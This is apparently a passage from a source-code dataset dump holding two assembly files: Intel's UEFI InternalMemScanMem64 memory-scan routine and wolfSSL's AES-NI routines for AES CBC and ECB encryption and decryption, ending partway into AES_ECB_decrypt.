text stringlengths 1 1.05M |
|---|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2008, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ScanMem64.Asm
;
; Abstract:
;
; ScanMem64 function
;
; Notes:
;
; The following BaseMemoryLib instances contain the same copy of this file:
;
; BaseMemoryLibRepStr
; BaseMemoryLibMmx
; BaseMemoryLibSse2
; BaseMemoryLibOptDxe
; BaseMemoryLibOptPei
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; CONST VOID *
; EFIAPI
; InternalMemScanMem64 (
; IN CONST VOID *Buffer,
; IN UINTN Length,
; IN UINT64 Value
; );
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemScanMem64)
ASM_PFX(InternalMemScanMem64):
push edi
mov ecx, [esp + 12]
mov eax, [esp + 16]
mov edx, [esp + 20]
mov edi, [esp + 8]
.0:
cmp eax, [edi]
lea edi, [edi + 8]
loopne .0
jne .1
cmp edx, [edi - 4]
jecxz .1
jne .0
.1:
lea eax, [edi - 8]
cmovne eax, ecx
pop edi
ret
|
; /* aes_asm.asm
; *
; * Copyright (C) 2006-2020 wolfSSL Inc.
; *
; * This file is part of wolfSSL.
; *
; * wolfSSL is free software; you can redistribute it and/or modify
; * it under the terms of the GNU General Public License as published by
; * the Free Software Foundation; either version 2 of the License, or
; * (at your option) any later version.
; *
; * wolfSSL is distributed in the hope that it will be useful,
; * but WITHOUT ANY WARRANTY; without even the implied warranty of
; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; * GNU General Public License for more details.
; *
; * You should have received a copy of the GNU General Public License
; * along with this program; if not, write to the Free Software
; * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335, USA
; */
;
;
; /* See Intel Advanced Encryption Standard (AES) Instructions Set White Paper
; * by Israel, Intel Mobility Group Development Center, Israel Shay Gueron
; */
;
; /* This file is in intel asm syntax, see .s for at&t syntax */
;
fips_version = 0
IFDEF HAVE_FIPS
fips_version = 1
IFDEF HAVE_FIPS_VERSION
fips_version = HAVE_FIPS_VERSION
ENDIF
ENDIF
IF fips_version GE 2
fipsAh SEGMENT ALIAS(".fipsA$h") 'CODE'
ELSE
_text SEGMENT
ENDIF
; /*
; AES_CBC_encrypt[const ,unsigned char*in
; unsigned ,char*out
; unsigned ,char ivec+16
; unsigned ,long length
; const ,unsigned char*KS
; int nr]
; */
AES_CBC_encrypt PROC
;# parameter 1: rdi
;# parameter 2: rsi
;# parameter 3: rdx
;# parameter 4: rcx
;# parameter 5: r8
;# parameter 6: r9d
; save rdi and rsi to rax and r11, restore before ret
mov rax,rdi
mov r11,rsi
; convert to what we had for att&t convention
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,[rsp+40]
mov r9d,[rsp+48]
mov r10,rcx
shr rcx,4
shl r10,60
je NO_PARTS
add rcx,1
NO_PARTS:
sub rsi,16
movdqa xmm1,[rdx]
LOOP_1:
pxor xmm1,[rdi]
pxor xmm1,[r8]
add rsi,16
add rdi,16
cmp r9d,12
aesenc xmm1,16[r8]
aesenc xmm1,32[r8]
aesenc xmm1,48[r8]
aesenc xmm1,64[r8]
aesenc xmm1,80[r8]
aesenc xmm1,96[r8]
aesenc xmm1,112[r8]
aesenc xmm1,128[r8]
aesenc xmm1,144[r8]
movdqa xmm2,160[r8]
jb LAST
cmp r9d,14
aesenc xmm1,160[r8]
aesenc xmm1,176[r8]
movdqa xmm2,192[r8]
jb LAST
aesenc xmm1,192[r8]
aesenc xmm1,208[r8]
movdqa xmm2,224[r8]
LAST:
dec rcx
aesenclast xmm1,xmm2
movdqu [rsi],xmm1
jne LOOP_1
; restore non volatile rdi,rsi
mov rdi,rax
mov rsi,r11
ret
AES_CBC_encrypt ENDP
; void AES_CBC_decrypt_by4(const unsigned char* in,
; unsigned char* out,
; unsigned char ivec[16],
; unsigned long length,
; const unsigned char* KS,
; int nr)
AES_CBC_decrypt_by4 PROC
; parameter 1: rdi
; parameter 2: rsi
; parameter 3: rdx
; parameter 4: rcx
; parameter 5: r8
; parameter 6: r9d
; save rdi and rsi to rax and r11, restore before ret
mov rax, rdi
mov r11, rsi
; convert to what we had for att&t convention
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rcx,r9
mov r8, [rsp+40]
mov r9d, [rsp+48]
; on microsoft xmm6-xmm15 are non volatile,
; let's save on stack and restore at end
sub rsp, 8+8*16 ; 8 = align stack , 8 xmm6-12,15 16 bytes each
movdqa [rsp+0], xmm6
movdqa [rsp+16], xmm7
movdqa [rsp+32], xmm8
movdqa [rsp+48], xmm9
movdqa [rsp+64], xmm10
movdqa [rsp+80], xmm11
movdqa [rsp+96], xmm12
movdqa [rsp+112], xmm15
; back to our original code, more or less
mov r10, rcx
shr rcx, 4
shl r10, 60
je DNO_PARTS_4
add rcx, 1
DNO_PARTS_4:
mov r10, rcx
shl r10, 62
shr r10, 62
shr rcx, 2
movdqu xmm5, [rdx]
je DREMAINDER_4
sub rsi, 64
DLOOP_4:
movdqu xmm1, [rdi]
movdqu xmm2, 16[rdi]
movdqu xmm3, 32[rdi]
movdqu xmm4, 48[rdi]
movdqa xmm6, xmm1
movdqa xmm7, xmm2
movdqa xmm8, xmm3
movdqa xmm15, xmm4
movdqa xmm9, [r8]
movdqa xmm10, 16[r8]
movdqa xmm11, 32[r8]
movdqa xmm12, 48[r8]
pxor xmm1, xmm9
pxor xmm2, xmm9
pxor xmm3, xmm9
pxor xmm4, xmm9
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm1, xmm12
aesdec xmm2, xmm12
aesdec xmm3, xmm12
aesdec xmm4, xmm12
movdqa xmm9, 64[r8]
movdqa xmm10, 80[r8]
movdqa xmm11, 96[r8]
movdqa xmm12, 112[r8]
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm1, xmm12
aesdec xmm2, xmm12
aesdec xmm3, xmm12
aesdec xmm4, xmm12
movdqa xmm9, 128[r8]
movdqa xmm10, 144[r8]
movdqa xmm11, 160[r8]
cmp r9d, 12
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
jb DLAST_4
movdqa xmm9, 160[r8]
movdqa xmm10, 176[r8]
movdqa xmm11, 192[r8]
cmp r9d, 14
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
jb DLAST_4
movdqa xmm9, 192[r8]
movdqa xmm10, 208[r8]
movdqa xmm11, 224[r8]
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
DLAST_4:
add rdi, 64
add rsi, 64
dec rcx
aesdeclast xmm1, xmm11
aesdeclast xmm2, xmm11
aesdeclast xmm3, xmm11
aesdeclast xmm4, xmm11
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm4, xmm8
movdqu [rsi], xmm1
movdqu 16[rsi], xmm2
movdqu 32[rsi], xmm3
movdqu 48[rsi], xmm4
movdqa xmm5, xmm15
jne DLOOP_4
add rsi, 64
DREMAINDER_4:
cmp r10, 0
je DEND_4
DLOOP_4_2:
movdqu xmm1, [rdi]
movdqa xmm15, xmm1
add rdi, 16
pxor xmm1, [r8]
movdqu xmm2, 160[r8]
cmp r9d, 12
aesdec xmm1, 16[r8]
aesdec xmm1, 32[r8]
aesdec xmm1, 48[r8]
aesdec xmm1, 64[r8]
aesdec xmm1, 80[r8]
aesdec xmm1, 96[r8]
aesdec xmm1, 112[r8]
aesdec xmm1, 128[r8]
aesdec xmm1, 144[r8]
jb DLAST_4_2
movdqu xmm2, 192[r8]
cmp r9d, 14
aesdec xmm1, 160[r8]
aesdec xmm1, 176[r8]
jb DLAST_4_2
movdqu xmm2, 224[r8]
aesdec xmm1, 192[r8]
aesdec xmm1, 208[r8]
DLAST_4_2:
aesdeclast xmm1, xmm2
pxor xmm1, xmm5
movdqa xmm5, xmm15
movdqu [rsi], xmm1
add rsi, 16
dec r10
jne DLOOP_4_2
DEND_4:
; restore non volatile rdi,rsi
mov rdi, rax
mov rsi, r11
; restore non volatile xmms from stack
movdqa xmm6, [rsp+0]
movdqa xmm7, [rsp+16]
movdqa xmm8, [rsp+32]
movdqa xmm9, [rsp+48]
movdqa xmm10, [rsp+64]
movdqa xmm11, [rsp+80]
movdqa xmm12, [rsp+96]
movdqa xmm15, [rsp+112]
add rsp, 8+8*16 ; 8 = align stack , 8 xmm6-12,15 16 bytes each
ret
AES_CBC_decrypt_by4 ENDP
; void AES_CBC_decrypt_by6(const unsigned char *in,
; unsigned char *out,
; unsigned char ivec[16],
; unsigned long length,
; const unsigned char *KS,
; int nr)
AES_CBC_decrypt_by6 PROC
; parameter 1: rdi - in
; parameter 2: rsi - out
; parameter 3: rdx - ivec
; parameter 4: rcx - length
; parameter 5: r8 - KS
; parameter 6: r9d - nr
; save rdi and rsi to rax and r11, restore before ret
mov rax, rdi
mov r11, rsi
; convert to what we had for att&t convention
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rcx, r9
mov r8, [rsp+40]
mov r9d, [rsp+48]
; on microsoft xmm6-xmm15 are non volatile,
; let's save on stack and restore at end
sub rsp, 8+9*16 ; 8 = align stack , 9 xmm6-14 16 bytes each
movdqa [rsp+0], xmm6
movdqa [rsp+16], xmm7
movdqa [rsp+32], xmm8
movdqa [rsp+48], xmm9
movdqa [rsp+64], xmm10
movdqa [rsp+80], xmm11
movdqa [rsp+96], xmm12
movdqa [rsp+112], xmm13
movdqa [rsp+128], xmm14
; back to our original code, more or less
mov r10, rcx
shr rcx, 4
shl r10, 60
je DNO_PARTS_6
add rcx, 1
DNO_PARTS_6:
mov r12, rax
mov r13, rdx
mov r14, rbx
mov rdx, 0
mov rax, rcx
mov rbx, 6
div rbx
mov rcx, rax
mov r10, rdx
mov rax, r12
mov rdx, r13
mov rbx, r14
cmp rcx, 0
movdqu xmm7, [rdx]
je DREMAINDER_6
sub rsi, 96
DLOOP_6:
movdqu xmm1, [rdi]
movdqu xmm2, 16[rdi]
movdqu xmm3, 32[rdi]
movdqu xmm4, 48[rdi]
movdqu xmm5, 64[rdi]
movdqu xmm6, 80[rdi]
movdqa xmm8, [r8]
movdqa xmm9, 16[r8]
movdqa xmm10, 32[r8]
movdqa xmm11, 48[r8]
pxor xmm1, xmm8
pxor xmm2, xmm8
pxor xmm3, xmm8
pxor xmm4, xmm8
pxor xmm5, xmm8
pxor xmm6, xmm8
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm5, xmm9
aesdec xmm6, xmm9
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm5, xmm10
aesdec xmm6, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm5, xmm11
aesdec xmm6, xmm11
movdqa xmm8, 64[r8]
movdqa xmm9, 80[r8]
movdqa xmm10, 96[r8]
movdqa xmm11, 112[r8]
aesdec xmm1, xmm8
aesdec xmm2, xmm8
aesdec xmm3, xmm8
aesdec xmm4, xmm8
aesdec xmm5, xmm8
aesdec xmm6, xmm8
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm5, xmm9
aesdec xmm6, xmm9
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm5, xmm10
aesdec xmm6, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm5, xmm11
aesdec xmm6, xmm11
movdqa xmm8, 128[r8]
movdqa xmm9, 144[r8]
movdqa xmm10, 160[r8]
cmp r9d, 12
aesdec xmm1, xmm8
aesdec xmm2, xmm8
aesdec xmm3, xmm8
aesdec xmm4, xmm8
aesdec xmm5, xmm8
aesdec xmm6, xmm8
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm5, xmm9
aesdec xmm6, xmm9
jb DLAST_6
movdqa xmm8, 160[r8]
movdqa xmm9, 176[r8]
movdqa xmm10, 192[r8]
cmp r9d, 14
aesdec xmm1, xmm8
aesdec xmm2, xmm8
aesdec xmm3, xmm8
aesdec xmm4, xmm8
aesdec xmm5, xmm8
aesdec xmm6, xmm8
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm5, xmm9
aesdec xmm6, xmm9
jb DLAST_6
movdqa xmm8, 192[r8]
movdqa xmm9, 208[r8]
movdqa xmm10, 224[r8]
aesdec xmm1, xmm8
aesdec xmm2, xmm8
aesdec xmm3, xmm8
aesdec xmm4, xmm8
aesdec xmm5, xmm8
aesdec xmm6, xmm8
aesdec xmm1, xmm9
aesdec xmm2, xmm9
aesdec xmm3, xmm9
aesdec xmm4, xmm9
aesdec xmm5, xmm9
aesdec xmm6, xmm9
DLAST_6:
add rsi, 96
aesdeclast xmm1, xmm10
aesdeclast xmm2, xmm10
aesdeclast xmm3, xmm10
aesdeclast xmm4, xmm10
aesdeclast xmm5, xmm10
aesdeclast xmm6, xmm10
movdqu xmm8, [rdi]
movdqu xmm9, 16[rdi]
movdqu xmm10, 32[rdi]
movdqu xmm11, 48[rdi]
movdqu xmm12, 64[rdi]
movdqu xmm13, 80[rdi]
pxor xmm1, xmm7
pxor xmm2, xmm8
pxor xmm3, xmm9
pxor xmm4, xmm10
pxor xmm5, xmm11
pxor xmm6, xmm12
movdqu xmm7, xmm13
movdqu [rsi], xmm1
movdqu 16[rsi], xmm2
movdqu 32[rsi], xmm3
movdqu 48[rsi], xmm4
movdqu 64[rsi], xmm5
movdqu 80[rsi], xmm6
add rdi, 96
dec rcx
jne DLOOP_6
add rsi, 96
DREMAINDER_6:
cmp r10, 0
je DEND_6
DLOOP_6_2:
movdqu xmm1, [rdi]
movdqa xmm10, xmm1
add rdi, 16
pxor xmm1, [r8]
movdqu xmm2, 160[r8]
cmp r9d, 12
aesdec xmm1, 16[r8]
aesdec xmm1, 32[r8]
aesdec xmm1, 48[r8]
aesdec xmm1, 64[r8]
aesdec xmm1, 80[r8]
aesdec xmm1, 96[r8]
aesdec xmm1, 112[r8]
aesdec xmm1, 128[r8]
aesdec xmm1, 144[r8]
jb DLAST_6_2
movdqu xmm2, 192[r8]
cmp r9d, 14
aesdec xmm1, 160[r8]
aesdec xmm1, 176[r8]
jb DLAST_6_2
movdqu xmm2, 224[r8]
aesdec xmm1, 192[r8]
aesdec xmm1, 208[r8]
DLAST_6_2:
aesdeclast xmm1, xmm2
pxor xmm1, xmm7
movdqa xmm7, xmm10
movdqu [rsi], xmm1
add rsi, 16
dec r10
jne DLOOP_6_2
DEND_6:
; restore non volatile rdi,rsi
mov rdi, rax
mov rsi, r11
; restore non volatile xmms from stack
movdqa xmm6, [rsp+0]
movdqa xmm7, [rsp+16]
movdqa xmm8, [rsp+32]
movdqa xmm9, [rsp+48]
movdqa xmm10, [rsp+64]
movdqa xmm11, [rsp+80]
movdqa xmm12, [rsp+96]
movdqa xmm13, [rsp+112]
movdqa xmm14, [rsp+128]
add rsp, 8+9*16 ; 8 = align stack , 9 xmm6-14 16 bytes each
ret
AES_CBC_decrypt_by6 ENDP
; void AES_CBC_decrypt_by8(const unsigned char *in,
; unsigned char *out,
; unsigned char ivec[16],
; unsigned long length,
; const unsigned char *KS,
; int nr)
AES_CBC_decrypt_by8 PROC
; parameter 1: rdi - in
; parameter 2: rsi - out
; parameter 3: rdx - ivec
; parameter 4: rcx - length
; parameter 5: r8 - KS
; parameter 6: r9d - nr
; save rdi and rsi to rax and r11, restore before ret
mov rax, rdi
mov r11, rsi
; convert to what we had for att&t convention
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rcx,r9
mov r8, [rsp+40]
mov r9d, [rsp+48]
; on microsoft xmm6-xmm15 are non volatile,
; let's save on stack and restore at end
sub rsp, 8+8*16 ; 8 = align stack , 8 xmm6-13 16 bytes each
movdqa [rsp+0], xmm6
movdqa [rsp+16], xmm7
movdqa [rsp+32], xmm8
movdqa [rsp+48], xmm9
movdqa [rsp+64], xmm10
movdqa [rsp+80], xmm11
movdqa [rsp+96], xmm12
movdqa [rsp+112], xmm13
; back to our original code, more or less
mov r10, rcx
shr rcx, 4
shl r10, 60
je DNO_PARTS_8
add rcx, 1
DNO_PARTS_8:
mov r10, rcx
shl r10, 61
shr r10, 61
shr rcx, 3
movdqu xmm9, [rdx]
je DREMAINDER_8
sub rsi, 128
DLOOP_8:
movdqu xmm1, [rdi]
movdqu xmm2, 16[rdi]
movdqu xmm3, 32[rdi]
movdqu xmm4, 48[rdi]
movdqu xmm5, 64[rdi]
movdqu xmm6, 80[rdi]
movdqu xmm7, 96[rdi]
movdqu xmm8, 112[rdi]
movdqa xmm10, [r8]
movdqa xmm11, 16[r8]
movdqa xmm12, 32[r8]
movdqa xmm13, 48[r8]
pxor xmm1, xmm10
pxor xmm2, xmm10
pxor xmm3, xmm10
pxor xmm4, xmm10
pxor xmm5, xmm10
pxor xmm6, xmm10
pxor xmm7, xmm10
pxor xmm8, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm5, xmm11
aesdec xmm6, xmm11
aesdec xmm7, xmm11
aesdec xmm8, xmm11
aesdec xmm1, xmm12
aesdec xmm2, xmm12
aesdec xmm3, xmm12
aesdec xmm4, xmm12
aesdec xmm5, xmm12
aesdec xmm6, xmm12
aesdec xmm7, xmm12
aesdec xmm8, xmm12
aesdec xmm1, xmm13
aesdec xmm2, xmm13
aesdec xmm3, xmm13
aesdec xmm4, xmm13
aesdec xmm5, xmm13
aesdec xmm6, xmm13
aesdec xmm7, xmm13
aesdec xmm8, xmm13
movdqa xmm10, 64[r8]
movdqa xmm11, 80[r8]
movdqa xmm12, 96[r8]
movdqa xmm13, 112[r8]
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm5, xmm10
aesdec xmm6, xmm10
aesdec xmm7, xmm10
aesdec xmm8, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm5, xmm11
aesdec xmm6, xmm11
aesdec xmm7, xmm11
aesdec xmm8, xmm11
aesdec xmm1, xmm12
aesdec xmm2, xmm12
aesdec xmm3, xmm12
aesdec xmm4, xmm12
aesdec xmm5, xmm12
aesdec xmm6, xmm12
aesdec xmm7, xmm12
aesdec xmm8, xmm12
aesdec xmm1, xmm13
aesdec xmm2, xmm13
aesdec xmm3, xmm13
aesdec xmm4, xmm13
aesdec xmm5, xmm13
aesdec xmm6, xmm13
aesdec xmm7, xmm13
aesdec xmm8, xmm13
movdqa xmm10, 128[r8]
movdqa xmm11, 144[r8]
movdqa xmm12, 160[r8]
cmp r9d, 12
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm5, xmm10
aesdec xmm6, xmm10
aesdec xmm7, xmm10
aesdec xmm8, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm5, xmm11
aesdec xmm6, xmm11
aesdec xmm7, xmm11
aesdec xmm8, xmm11
jb DLAST_8
movdqa xmm10, 160[r8]
movdqa xmm11, 176[r8]
movdqa xmm12, 192[r8]
cmp r9d, 14
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm5, xmm10
aesdec xmm6, xmm10
aesdec xmm7, xmm10
aesdec xmm8, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm5, xmm11
aesdec xmm6, xmm11
aesdec xmm7, xmm11
aesdec xmm8, xmm11
jb DLAST_8
movdqa xmm10, 192[r8]
movdqa xmm11, 208[r8]
movdqa xmm12, 224[r8]
aesdec xmm1, xmm10
aesdec xmm2, xmm10
aesdec xmm3, xmm10
aesdec xmm4, xmm10
aesdec xmm5, xmm10
aesdec xmm6, xmm10
aesdec xmm7, xmm10
aesdec xmm8, xmm10
aesdec xmm1, xmm11
aesdec xmm2, xmm11
aesdec xmm3, xmm11
aesdec xmm4, xmm11
aesdec xmm5, xmm11
aesdec xmm6, xmm11
aesdec xmm7, xmm11
aesdec xmm8, xmm11
DLAST_8:
add rsi, 128
aesdeclast xmm1, xmm12
aesdeclast xmm2, xmm12
aesdeclast xmm3, xmm12
aesdeclast xmm4, xmm12
aesdeclast xmm5, xmm12
aesdeclast xmm6, xmm12
aesdeclast xmm7, xmm12
aesdeclast xmm8, xmm12
movdqu xmm10, [rdi]
movdqu xmm11, 16[rdi]
movdqu xmm12, 32[rdi]
movdqu xmm13, 48[rdi]
pxor xmm1, xmm9
pxor xmm2, xmm10
pxor xmm3, xmm11
pxor xmm4, xmm12
pxor xmm5, xmm13
movdqu xmm10, 64[rdi]
movdqu xmm11, 80[rdi]
movdqu xmm12, 96[rdi]
movdqu xmm9, 112[rdi]
pxor xmm6, xmm10
pxor xmm7, xmm11
pxor xmm8, xmm12
movdqu [rsi], xmm1
movdqu 16[rsi], xmm2
movdqu 32[rsi], xmm3
movdqu 48[rsi], xmm4
movdqu 64[rsi], xmm5
movdqu 80[rsi], xmm6
movdqu 96[rsi], xmm7
movdqu 112[rsi], xmm8
add rdi, 128
dec rcx
jne DLOOP_8
add rsi, 128
DREMAINDER_8:
cmp r10, 0
je DEND_8
DLOOP_8_2:
movdqu xmm1, [rdi]
movdqa xmm10, xmm1
add rdi, 16
pxor xmm1, [r8]
movdqu xmm2, 160[r8]
cmp r9d, 12
aesdec xmm1, 16[r8]
aesdec xmm1, 32[r8]
aesdec xmm1, 48[r8]
aesdec xmm1, 64[r8]
aesdec xmm1, 80[r8]
aesdec xmm1, 96[r8]
aesdec xmm1, 112[r8]
aesdec xmm1, 128[r8]
aesdec xmm1, 144[r8]
jb DLAST_8_2
movdqu xmm2, 192[r8]
cmp r9d, 14
aesdec xmm1, 160[r8]
aesdec xmm1, 176[r8]
jb DLAST_8_2
movdqu xmm2, 224[r8]
aesdec xmm1, 192[r8]
aesdec xmm1, 208[r8]
DLAST_8_2:
aesdeclast xmm1, xmm2
pxor xmm1, xmm9
movdqa xmm9, xmm10
movdqu [rsi], xmm1
add rsi, 16
dec r10
jne DLOOP_8_2
DEND_8:
; restore non volatile rdi,rsi
mov rdi, rax
mov rsi, r11
; restore non volatile xmms from stack
movdqa xmm6, [rsp+0]
movdqa xmm7, [rsp+16]
movdqa xmm8, [rsp+32]
movdqa xmm9, [rsp+48]
movdqa xmm10, [rsp+64]
movdqa xmm11, [rsp+80]
movdqa xmm12, [rsp+96]
movdqa xmm13, [rsp+112]
add rsp, 8+8*16 ; 8 = align stack , 8 xmm6-13 16 bytes each
ret
AES_CBC_decrypt_by8 ENDP
; /*
; AES_ECB_encrypt[const ,unsigned char*in
; unsigned ,char*out
; unsigned ,long length
; const ,unsigned char*KS
; int nr]
; */
; . globl AES_ECB_encrypt
AES_ECB_encrypt PROC
;# parameter 1: rdi
;# parameter 2: rsi
;# parameter 3: rdx
;# parameter 4: rcx
;# parameter 5: r8d
; save rdi and rsi to rax and r11, restore before ret
mov rax,rdi
mov r11,rsi
; convert to what we had for att&t convention
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8d,[rsp+40]
; on microsoft xmm6-xmm15 are non volaitle, let's save on stack and restore at end
sub rsp,8+4*16 ; 8 = align stack , 4 xmm9-12, 16 bytes each
movdqa [rsp+0], xmm9
movdqa [rsp+16], xmm10
movdqa [rsp+32], xmm11
movdqa [rsp+48], xmm12
mov r10,rdx
shr rdx,4
shl r10,60
je EECB_NO_PARTS_4
add rdx,1
EECB_NO_PARTS_4:
mov r10,rdx
shl r10,62
shr r10,62
shr rdx,2
je EECB_REMAINDER_4
sub rsi,64
EECB_LOOP_4:
movdqu xmm1,[rdi]
movdqu xmm2,16[rdi]
movdqu xmm3,32[rdi]
movdqu xmm4,48[rdi]
movdqa xmm9,[rcx]
movdqa xmm10,16[rcx]
movdqa xmm11,32[rcx]
movdqa xmm12,48[rcx]
pxor xmm1,xmm9
pxor xmm2,xmm9
pxor xmm3,xmm9
pxor xmm4,xmm9
aesenc xmm1,xmm10
aesenc xmm2,xmm10
aesenc xmm3,xmm10
aesenc xmm4,xmm10
aesenc xmm1,xmm11
aesenc xmm2,xmm11
aesenc xmm3,xmm11
aesenc xmm4,xmm11
aesenc xmm1,xmm12
aesenc xmm2,xmm12
aesenc xmm3,xmm12
aesenc xmm4,xmm12
movdqa xmm9,64[rcx]
movdqa xmm10,80[rcx]
movdqa xmm11,96[rcx]
movdqa xmm12,112[rcx]
aesenc xmm1,xmm9
aesenc xmm2,xmm9
aesenc xmm3,xmm9
aesenc xmm4,xmm9
aesenc xmm1,xmm10
aesenc xmm2,xmm10
aesenc xmm3,xmm10
aesenc xmm4,xmm10
aesenc xmm1,xmm11
aesenc xmm2,xmm11
aesenc xmm3,xmm11
aesenc xmm4,xmm11
aesenc xmm1,xmm12
aesenc xmm2,xmm12
aesenc xmm3,xmm12
aesenc xmm4,xmm12
movdqa xmm9,128[rcx]
movdqa xmm10,144[rcx]
movdqa xmm11,160[rcx]
cmp r8d,12
aesenc xmm1,xmm9
aesenc xmm2,xmm9
aesenc xmm3,xmm9
aesenc xmm4,xmm9
aesenc xmm1,xmm10
aesenc xmm2,xmm10
aesenc xmm3,xmm10
aesenc xmm4,xmm10
jb EECB_LAST_4
movdqa xmm9,160[rcx]
movdqa xmm10,176[rcx]
movdqa xmm11,192[rcx]
cmp r8d,14
aesenc xmm1,xmm9
aesenc xmm2,xmm9
aesenc xmm3,xmm9
aesenc xmm4,xmm9
aesenc xmm1,xmm10
aesenc xmm2,xmm10
aesenc xmm3,xmm10
aesenc xmm4,xmm10
jb EECB_LAST_4
movdqa xmm9,192[rcx]
movdqa xmm10,208[rcx]
movdqa xmm11,224[rcx]
aesenc xmm1,xmm9
aesenc xmm2,xmm9
aesenc xmm3,xmm9
aesenc xmm4,xmm9
aesenc xmm1,xmm10
aesenc xmm2,xmm10
aesenc xmm3,xmm10
aesenc xmm4,xmm10
EECB_LAST_4:
add rdi,64
add rsi,64
dec rdx
aesenclast xmm1,xmm11
aesenclast xmm2,xmm11
aesenclast xmm3,xmm11
aesenclast xmm4,xmm11
movdqu [rsi],xmm1
movdqu 16[rsi],xmm2
movdqu 32[rsi],xmm3
movdqu 48[rsi],xmm4
jne EECB_LOOP_4
add rsi,64
EECB_REMAINDER_4:
cmp r10,0
je EECB_END_4
EECB_LOOP_4_2:
movdqu xmm1,[rdi]
add rdi,16
pxor xmm1,[rcx]
movdqu xmm2,160[rcx]
aesenc xmm1,16[rcx]
aesenc xmm1,32[rcx]
aesenc xmm1,48[rcx]
aesenc xmm1,64[rcx]
aesenc xmm1,80[rcx]
aesenc xmm1,96[rcx]
aesenc xmm1,112[rcx]
aesenc xmm1,128[rcx]
aesenc xmm1,144[rcx]
cmp r8d,12
jb EECB_LAST_4_2
movdqu xmm2,192[rcx]
aesenc xmm1,160[rcx]
aesenc xmm1,176[rcx]
cmp r8d,14
jb EECB_LAST_4_2
movdqu xmm2,224[rcx]
aesenc xmm1,192[rcx]
aesenc xmm1,208[rcx]
EECB_LAST_4_2:
aesenclast xmm1,xmm2
movdqu [rsi],xmm1
add rsi,16
dec r10
jne EECB_LOOP_4_2
EECB_END_4:
; restore non volatile rdi,rsi
mov rdi,rax
mov rsi,r11
; restore non volatile xmms from stack
movdqa xmm9, [rsp+0]
movdqa xmm10, [rsp+16]
movdqa xmm11, [rsp+32]
movdqa xmm12, [rsp+48]
add rsp,8+4*16 ; 8 = align stack , 4 xmm9-12 16 bytes each
ret
AES_ECB_encrypt ENDP
; /*
; AES_ECB_decrypt[const ,unsigned char*in
; unsigned ,char*out
; unsigned ,long length
; const ,unsigned char*KS
; int nr]
; */
; . globl AES_ECB_decrypt
AES_ECB_decrypt PROC
;# parameter 1: rdi
;# parameter 2: rsi
;# parameter 3: rdx
;# parameter 4: rcx
